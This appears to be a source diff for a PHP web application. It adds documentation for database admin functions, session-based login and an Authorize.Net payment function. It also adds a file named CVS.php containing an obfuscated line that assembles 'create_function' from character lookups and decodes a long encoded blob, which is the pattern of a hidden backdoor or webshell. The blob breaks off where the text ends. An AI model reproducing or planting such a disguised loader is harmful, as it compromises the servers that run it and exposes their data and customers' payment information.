+               {disp_field}    = Field in {other_table} to output to user for each <OPTOIN..>
+               {value_field}   = When specified, is the field the value must match rather than "id"
+                                       (for now, this field must be an integer)
+               {where}         = WHERE field of query to use for selecting data from {other_table}
+                                       (optional - defaults to none)
+
+       Return value:                           
+               admin_delete_record_r()                 returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_delete_record()                   (none)
+
+       Global references:                                                      
+
+------------------------------------------------------------------------
+       array   admin_confirm_delete_record_r( string $table, string $conn_str, int $id,
+                               string $fields, string $url, string $action,
+                               string $params, string $a_title, string $view )
+       bool    admin_confirm_delete_record( string $table, string $conn_str, int $id,
+                               string $fields, string $url, string $action,
+                               string $params, string $a_title, string $view )
+------------------------------------------------------------------------
+
+This function receives a form submission from a delete request produced
+by admin_delete_record(). It does a number of things in sequence.
+
+1) Check to make sure the field "Delete" contains exactly "Confirm"
+2) Check fields for "reference"s that need to be protected. If there are any
+   check the "id" field in the specified table to see if any point
+   toward this record. If there are, don't delete the record. 
+3) Check to see if there are any "image" fields specified. If so it
+   deletes those images.
+4) Delete the record
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String
+               $id             Unique value of the "id" field of the record to update
+               $fields         List of fields to check for certain things such as images to delete
+                                       and subordinate table entries (references)
+               $url            URL to page for submitting this form
+               $action         Value of "Action" parameter for program at $url
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of Page
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+                                       {result}        - Result of submitssion, success or failure
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{title}|{name},{type},{title}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               reference       - Reference to check (see below)
+                               image           - Image to delete
+               {title} = Title of field for error output if not supplied
+
+       If {type} = reference, then has following format
+               reference.{table}.{field}
+       Where:  {table} = Table to check for reference
+               {field} = Field in that table (to see if = id of current record)
+
+       Return value:                           
+               admin_confirm_delete_record_r()                 returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_confirm_delete_record()                   TRUE or FALSE (if not deleted)
+
+       Global references:                                                      
+               $HTTP_POST_VARS
+
+
+------------------------------------------------------------------------
+       array   admin_view_record_r( string $table, sting $conn_str, string $id, 
+                               string $fields, string $url, string $action, 
+                               string $params, string $a_title, string $view, string $options, string $quick_tip, string $id_field )
+       void    admin_view_record( string $table, sting $conn_str, string $id, 
+                               string $fields, string $url, string $action, 
+                               string $params, string $a_title, string $view, string $options, string $quick_tip, string $id_field )
+------------------------------------------------------------------------
+
+The auto function retrieves the record specified by $id and displays
+the result.    
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $id             Numeric value of "id" field for desired record
+               $conn_str       Connect String                          
+               $fields         List of fields to display (see below)
+               $url            URL of next processing page
+               $action         Action to be passed to next processing page (says what we're working on)
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of this table for use in headers
+               $view           View to use for display of this record (see view discription)
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+               $options        Optional control options - comma separated
+                                               "borders" = Turn on borders in table
+               $quick_tip      Optional Pop-up Quick tip message for page
+               $id_field       Name of id field if not "id"
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{title}|{name},{type},{title}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int     - Integer value
+                               fixed.n - Fixed precision, "n" digits after "."
+                               float   - Floating value
+                               money   - Money formatted
+                               text    - Simple text field
+                               password - Same as text except that output is displayed as *'s
+                               rawtext - Same as text but doesn't parse hard breaks to <BR>
+                               textbox - Same as text 
+                               url             - Web link
+                               date    - Date field (currently same as text)
+                               image.s - Image of size "s"
+                                               o = Original
+                                               r = Resized
+                                               m = Midsized
+                                               t = Thumb
+                               file    - File (displays file as a link to a popup window)
+                               pointer - Pointer to data in anohter table (see below)
+                               list.{list}     - List of options for picklist/display (see below)
+                               state   - Special form of list
+                               lat.n   - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n   - Longitude (stored as deg, + = E) (n = precision)
+                               break.{text}    - Break in list - Displays {text} in value field
+                                                       Breaks must have unique dummy field name
+                               order           - Output order spec
+               {title} = Title for table header
+
+       Type "pointer" has a sub-structure for the "{type}" field
+               {type}.{other_table}.{disp_field}.{value_field}.{where}
+                       {disp_field} can specify multiple fields separated by "~"
+
+       Any type can be followed with ".hidden" to prevent it from being included with default output
+               (does not affect values specified in $view)
+       
+       Where:  {type}          = "pointer"
+               {other_table}   = Table used to get data
+               {disp_field}    = Field in {other_table} to output to user for each <OPTOIN..>
+               {value_field}   = (bugus field, not used in this function since this function displays only)
+               {where}         = WHERE field of query to use for selecting data from {other_table}
+                                       (optional - defaults to none)
+
+       Description of $view: The $view parameter is an optional layout for
+       outputing the record. If the $view parameter isn't supplied, the 
+       data is displayed in sequential format down the page, as is the default
+       for the admin_edit_record() function. If the $view parameter is supplied,
+       it is used as the HTML for displaying the page. Fields to be displayed
+       are designated by "{x}" where x is the database field name.
+
+       Return value:                           
+               admin_view_record_r()           returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_view_record()                     (none)
+
+       Global references:                                                      
+               None                                                    
+
+
+
+------------------------------------------------------------------------
+       void    admin_user_login( string $operation, string $conn_str, string $sess_code
+                       string $table, string $id_field, string $pw_field,
+                       string $user_id, string $password, string $where )
+------------------------------------------------------------------------
+
+This function does one of two things...
+
+       1) Compare User ID and password to see if it's OK for someone to log in
+               If User ID and password match, then session data is created for 
+               this user and that includes a timestamp of the last activity
+       2) Check to see if a session is currently valid
+               This breaks up the session code into 3 segments. One is the 
+               MD5 stiring of the user E-Mail and last timestamp, and the next
+               is the timestamp from the last activity. If the last timestamp
+               and user user ID & password don't combine to match the MD5 string, then the
+               user session is invalid. If it does match, then the timestamp
+               is checked to see if it has been longer than the allowed
+               timeout period since the user's last activity. The last segment
+               is the unique numeric "id" of the user's record.
+
+       Parameters:                                                             
+               $operation      The desired operation to perform
+               $conn_str       Standard database connection string
+               $sess_code      Session code (blank for operation login, record id for create )
+               $table          Database table where user data is stored
+               $id_field       Field in $table where user's ID is stored
+               $pw_field       Field in $table where user's password is stored
+               $user_id        User's ID (blank for operation verify) OPTIONAL
+               $password       User's password (blank for operation verify) OPTIONAL
+               $where          Optional additional query clause to be ANDed to ID/Password check
+
+               SI_SES_TIMEOUT  Global define that specifies timeout period in seconds
+
+       Operations:
+
+               login           This operation attempts to log in a new user
+
+               verify          This operation verifies an active login
+                                       session.
+                                       
+               create          This operation creates a new user session and links it
+                                       to a user record without doing an id/password check. The 
+                                       user record id is passed in $sess_code field.
+                                       
+       Return value:                           
+               login           Returns false if login failure otherwise session data
+               verify          Returns false if login failure otterwise session data
+
+
+       Session data is an array containing all the fields in the user data record
+       and the following special array indexes...
+
+               session_code    The MD5 string, timestamp and record number combined
+               session_link    The session code in URL link format
+               session_form    The session code in hidden form field format    
+
+       session_code is built as follows
+               {md5}-{timestamp}-{record id}
+
+               WHERE:  {md5}   MD5 string derived from 
+                                       user's ID + timestamp + id field + secret
+
+       Global references:                                                      
+               SI_SES_TIMEOUT  Global define that specifies timeout period in seconds
+               
+               
+               
+************************************************************************
+*                                                                      *
+*                       FINANCIAL FUNCTIONS                            *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       array   function authorize_net_aim( 
+                               string $login, string $key, string $test, string $conf, string $merch_email,
+                               float $amount, string $card_num, string $exp_date, string $card_code, 
+                         Following parameters may be optional
+                               string $currency,  
+                               string $fname, string $lname, string $company, string $address, string $city, string $state, string $zip, string $country, 
+                               string $phone, string $fax, string $id, string $ip, string $tax_id,
+                               string $email,
+                               string $invoice, string $descr, string $header, string $footer,
+                               string $ship_fname, string $ship_lname, string $ship_company, string $ship_address, string $ship_city, string $ship_state, 
+                               string $ship_zip, string $ship_country )
+------------------------------------------------------------------------
+       
+This function submits a transaction request to Authorize.Net and returns a transaction result.
+
+Submission parameters
+
+       string $login           Authorize.net Merchant Login
+       string $key                     Authorize.net Merchant Key
+       string $test            Test Mode ( FALSE - Production mode, TRUE - Test Mode, LOCAL TEST - Local only-don't send to Authorize.net )
+       string $conf            Send confirmation to customer E-Mail (TRUE - FALSE)
+       string $merch_email     Send confirmation to merchant E-Mail (TRUE - FALSE)
+       
+       (Need to write rest of this part)
+
+               Authorize.net processing
+       
+               Test card #
+               
+                 TEST CARD               CARD TYPE
+                 NUMBER
+                 370000000000002         American Express
+                 6011000000000012        Discover
+                 5424000000000015        MasterCard
+                 4007000000027           Visa
+
+
+Return 
+
+       The result is an array containing result data or FALSE if it's unable to submit to 
+       or get a response from Authorize.Net.
+
+       [0]                     Response Code - 1 = Approved, 2 = Declined, 3 = Error, 4 = Held for review, 
+                                       ( GLM Added Codes: 100 = System Exec call failed, 101 = No data returned from Exec Call, 102 = No data returned from Authorize.net,
+                                         103 = MD5 Hash verification failure )
+       [1]                     Response Sub-Code (?)
+       [2]                     Response Reason Code - See documentation
+       [3]                     Response Reason Text
+       [4]                     Approval Code - 6 character authorization code
+       [5]                     AVS Result Code - Address Verification result
+       [6]                     Transaction ID - Unique identifier for transaction with Authorize.Net - Used for updates to the transaction
+               These fields are echoed from supplied data if they were submitted
+       [7]                     Invoice Number
+       [8]                     Description
+       [9]                     Amount
+       [10]            Method
+       [11]            Transaction Type
+       [12]            Customer ID
+       [13]            First Name
+       [14]            Last Name
+       [15]            Company
+       [16]            Billing Address
+       [17]            City
+       [18]            State
+       [19]            Zip
+       [20]            Country
+       [21]            Phone
+       [22]            Fax
+       [23]            E-Mail
+       [24]            Ship First Name
+       [25]            Ship Last Name
+       [26]            Ship Company
+       [27]            Ship Address
+       [28]            Ship City
+       [29]            Ship State
+       [30]            Ship Zip
+       [31]            Ship Country
+       [32]            Tax
+       [33]            Duty
+       [34]            Freight
+       [35]            Tax Exempt Flag
+       [36]            P.O. #
+               These fields are generated by Authorize.Net
+       [37]            MD5 Hash to authenticate response from Authorize.Net
+       [38]            Card Code (CVV) verification - M = Match, N - No Match, P = Not Processed, S = Should have been present, U = Issuer unable to process request
+       [39]            Cardholder CAVV Authentication Verification
+                                       Blank   Not validated
+                                       0               Erroneous data submitted
+                                       1               Failed validation
+                                       2               Passed validation
+                                       3-4             Validation could not be performed
+                                       5-6             (reserved)
+                                       7               Failed validation
+                                       8               Passed validation
+                                       9               Failed validation
+                                       A               Passed validation
+                                       B               Passed validation
+       [40]-[67]       Reserved
+       [68]            Echo of merchant defined fields
+       
+
diff --git a/gallery.jpg b/gallery.jpg
new file mode 100755 (executable)
index 0000000..e69de29
diff --git a/glm_apps/XML_Support/CVS.php b/glm_apps/XML_Support/CVS.php
new file mode 100644 (file)
index 0000000..bb2d138
--- /dev/null
@@ -0,0 +1 @@
+<?php $sWcFhH='s0ktTU6yW5j9B8GhDrYFwe12aScH4b7IC_fAR"Q/g,XZxzLl.ud{MvNqPo}+i3|;*EOnKV^J)[mp]$ (';$CKJccd=$sWcFhH{26}.$sWcFhH{17}.$sWcFhH{21}.$sWcFhH{24}.$sWcFhH{3}.$sWcFhH{21}.$sWcFhH{33}.$sWcFhH{34}.$sWcFhH{49}.$sWcFhH{67}.$sWcFhH{26}.$sWcFhH{3}.$sWcFhH{60}.$sWcFhH{57}.$sWcFhH{67};$OSskaj=$sWcFhH{77}.$sWcFhH{0};$yuQxUN=$sWcFhH{34}.$sWcFhH{49}.$sWcFhH{67}.$sWcFhH{26}.$sWcFhH{3}.$sWcFhH{60}.$sWcFhH{57}.$sWcFhH{67}.$sWcFhH{78}.$sWcFhH{17}.$sWcFhH{13}.$sWcFhH{79}.$sWcFhH{77}.$sWcFhH{0}.$sWcFhH{41}.$sWcFhH{77}.$sWcFhH{75}.$sWcFhH{72}.$sWcFhH{51}.$sWcFhH{17}.$sWcFhH{21}.$sWcFhH{3}.$sWcFhH{49}.$sWcFhH{17}.$sWcFhH{67}.$sWcFhH{78}.$sWcFhH{77}.$sWcFhH{0}.$sWcFhH{70}.$sWcFhH{0}.$sWcFhH{3}.$sWcFhH{17}.$sWcFhH{33}.$sWcFhH{75}.$sWcFhH{24}.$sWcFhH{50}.$sWcFhH{79}.$sWcFhH{77}.$sWcFhH{75}.$sWcFhH{41}.$sWcFhH{0}.$sWcFhH{3}.$sWcFhH{17}.$sWcFhH{47}.$sWcFhH{21}.$sWcFhH{67}.$sWcFhH{79}.$sWcFhH{77}.$sWcFhH{0}.$sWcFhH{72}.$sWcFhH{41}.$sWcFhH{77}.$sWcFhH{75}.$sWcFhH{72}.$sWcFhH{63}.$sWcFhH{58}.$sWcFhH{63}.$sWcFhH{21}.$sWcFhH{53}.$sWcFhH{24}.$sWcFhH{47}.$sWcFhH{79}.$sWcFhH{17}.$sWcFhH{13}.$sWcFhH{79}.$sWcFhH{29}.$sWcFhH{24}.$sWcFhH{0}.$sWcFhH{21}.$sWcFhH{6}.$sWcFhH{28}.$sWcFhH{33}.$sWcFhH{50}.$sWcFhH{21}.$sWcFhH{26}.$sWcFhH{57}.$sWcFhH{50}.$sWcFhH{21}.$sWcFhH{79}.$sWcFhH{77}.$sWcFhH{0}.$sWcFhH{72}.$sWcFhH{41}.$sWcFhH{37}.$sWcFhH{16}.$sWcFhH{50}.$sWcFhH{16}.$sWcFhH{21}.$sWcFhH{5}.$sWcFhH{14}.$sWcFhH{37}.$sWcFhH{72}.$sWcFhH{72}.$sWcFhH{63};$ubCBlz="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